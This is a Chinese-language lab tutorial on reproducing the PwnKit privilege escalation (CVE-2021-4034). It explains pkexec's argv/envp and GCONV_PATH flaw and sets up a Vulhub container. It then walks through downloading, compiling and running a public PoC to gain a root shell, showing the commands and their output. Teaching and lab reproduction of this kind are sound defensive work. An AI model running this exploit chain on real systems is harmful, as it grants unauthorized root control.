当前位置: 首页 > news >正文

实用指南:PwnKit提权漏洞复现:原理分析+环境搭建+渗透实践(CVE-2021-4034)

目录

一、PwnKit提权漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、ssh登录ubuntu账户

2、查看用户

3、下载编译PoC脚本

(1)下载PoC文件

(2)解压PoC文件

(3)编译PoC文件

4、运行PoC提权


PwnKit提权漏洞(CVE-2021-4034)是Polkit组件pkexec工具中的高危本地权限提升漏洞,影响多数Linux发行版。文章详细介绍了漏洞原理:pkexec处理环境变量时存在缺陷,可被利用执行任意代码获取root权限。通过Vulhub搭建漏洞环境,使用SSH登录普通用户后,下载并编译PoC脚本,最终成功实现权限提升至root。整个渗透过程包括环境准备、漏洞复现和提权验证,展示了该漏洞的稳定利用性。

一、PwnKit提权漏洞

1、漏洞简介

CVE-2021-4034 是一个存在于 Polkit 组件的 pkexec 工具中的本地权限提升漏洞,也被称为 PwnKit。

  • CVE编号:CVE-2021-4034

  • 通俗名称:PwnKit

  • 影响组件:Polkit 的 pkexec 工具

  • 漏洞类型:本地权限提升 (Local Privilege Escalation)

  • 危害等级高危 (High)

  • 影响版本:主要影响 pkexec 版本为 0.105 之前的系统,包括 Ubuntu、CentOS、Debian 等众多 Linux 发行版。

  • 漏洞成因pkexec 未能正确处理参数和环境变量的交互,导致可以劫持其执行流,加载并执行任意恶意库,从而以 root 权限执行任意代码。

  • 特点默认存在稳定利用影响范围极广。几乎所有主流 Linux 发行版都受影响。

2、漏洞原理

pkexec 是一个 SUID 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令。该漏洞源于 pkexec 在处理参数时逻辑错误,当使用 execve 调用程序并给 argv 传值 NULL 时,argc 会为 0,此时 pkexec 会读取 argv (1) 变量,由于 argv 与 envp 在内存布局上是连续的,实际上会读取到第一个环境变量。若该环境变量不是绝对路径,pkexec 会在环境变量中查找 PATH 变量将其转换为实际路径,若 PATH 环境变量包含攻击者可控的路径,就会导致 pkexec 将攻击者可控的路径下的内容当作命令执行。此外,pkexec 在程序运行过程中会调用 g_printerr 函数,该函数会按需载入 GCONV_PATH 环境变量指向的路径下的 gconv - modules 文件中写明的外部动态链接库,并运行其中的初始化函数 gconv_init。攻击者可以通过构造恶意的环境变量,诱导 pkexec 加载并执行恶意的共享库,从而实现任意代码执行,达到本地权限提升的目的。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现PwnKit提权漏洞(CVE-2021-4034),由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd vulhub/polkit/CVE-2021-4034

4、启动漏洞环境

在CVE-2021-4034目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含cve-2021-4034漏洞的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示Vulhub 项目提供的polkit:0.105容器已正常运行 ,这个就是CVE-2021-4034 漏洞环境,可通过宿主机的 2222 端口访问容器。

└─# docker ps
doCONTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                             NAMES
44768a733e46   vulhub/polkit:0.105   "/bin/sh -c 'qemu-sy…"   33 seconds ago   Up 31 seconds   0.0.0.0:2222->2222/tcp, :::2222->2222/tcp         cve-2021-4034_cmd_1

三、渗透实战

1、ssh登录ubuntu账户

使用用户名ubuntu/密码vulhub登录Docker漏洞环境的SSH(端口是2222),如下所示。

ssh ubuntu@192.168.59.128 -p2222

2、查看用户

使用whoami和id查看用户信息, 如下所示这是一个普通用户,非root用户。

3、下载编译PoC脚本

(1)下载PoC文件

下载CVE-2021-4034 (Linux 系统上的 Polkit 权限提升漏洞)的PoC文件,如下所示。

ubuntu@ubuntu:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
--2025-09-03 10:59:43--  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following]
--2025-09-03 10:59:44--  https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.205.243.165
Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: ‘main.tar.gz’
main.tar.gz                                                    [ <=>                                                                                                                                     ]   4.08K  --.-KB/s    in 0.002s
2025-09-03 10:59:45 (2.21 MB/s) - ‘main.tar.gz’ saved [4176]

(2)解压PoC文件

上一步下载下来的PoC文件为main.tar.gz,使用tar解压PoC文件到当前文件夹,如下所示。

ubuntu@ubuntu:/tmp$ tar -zxvf main.tar.gz
CVE-2021-4034-main/
CVE-2021-4034-main/.gitignore
CVE-2021-4034-main/LICENSE
CVE-2021-4034-main/Makefile
CVE-2021-4034-main/README.md
CVE-2021-4034-main/cve-2021-4034.c
CVE-2021-4034-main/cve-2021-4034.sh
CVE-2021-4034-main/dry-run/
CVE-2021-4034-main/dry-run/Makefile
CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
CVE-2021-4034-main/pwnkit.c

(3)编译PoC文件

进入到PoC文件夹所在的目录,编译PoC程序,如下所示。

ubuntu@ubuntu:/tmp$ cd CVE-2021-4034-main/
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

4、运行PoC提权

运行提权PoC文件cve-2021-4034,如下所示,执行whoami和id时,提示用户已经变为root,说明提权渗透成功。

ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ ./cve-2021-4034
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)

http://www.jsqmd.com/news/33770/

相关文章:

  • 2025年知名的平版胶印油墨实力厂家TOP推荐榜
  • 实用指南:专题:2025中国人工智能医疗健康研究报告(智慧医院+医保+器械+AI)深度洞察|附130+份报告PDF、8个数据仪表盘汇总下载
  • 2025年靠谱的B1级橡塑保温板行业内知名厂家排行榜
  • 2025年评价高的变流器高压直流继电器行业内口碑厂家排行榜
  • 达梦数据库插入数据创建表方法
  • 2025年北京刑事律师联系电话推荐:高胜诉率团队盘点
  • 2025年11月种植牙医院评价榜:从资质到服务五家机构深度解析
  • 2025年比较好的豪宅家具厂家最新TOP排行榜
  • 详细介绍:三种常用的维测接口
  • 2025年评价高的彩色橡塑保温管行业内口碑厂家排行榜
  • 2025年劲松口腔深度解析:13院区200硕博医师团如何炼成京城口碑
  • 2025年口碑好的高品质奢适美学五金实力厂家TOP推荐榜
  • 2025年11月儿童DHA品牌评价榜:五强排行聚焦健敏思眼脑DHA
  • 2025年11月儿童DHA品牌推荐榜:五款人气单品多维度对比排行
  • 2025年11月儿童DHA品牌推荐:年度榜单评测与真实口碑排行
  • 2025年评价高的定制家具厂家推荐及选择指南
  • 2025年11月牙齿矫正医院对比榜:五家机构口碑与实力综合排行
  • C#/.NET/.NET Core优秀项目和框架2025年10月简报
  • 2025年口碑好的灰铁机床铸件厂家最新TOP实力排行
  • 第16章 C预处理器和C库 - 实践
  • 2025年评价高的装饰装修预算明细综合人气榜
  • 2025年11月成都律师事务所推荐榜:最新评测榜单及委托风险深度分析
  • 2025年靠谱的法兰加热管TOP实力厂家推荐榜
  • 2025年靠谱的氮气加热器优质厂家推荐榜单
  • 2025年知名的风道加热器厂家实力及用户口碑排行榜
  • 2025年比较好的固定矿车高评价厂家推荐榜
  • 11 月记录
  • 2025年靠谱的VR工厂线上看厂技术领先品牌榜
  • 2025年口碑好的U型加热管最新TOP品牌厂家排行
  • 2025年口碑好的VR工厂远程云参观企业信赖品牌榜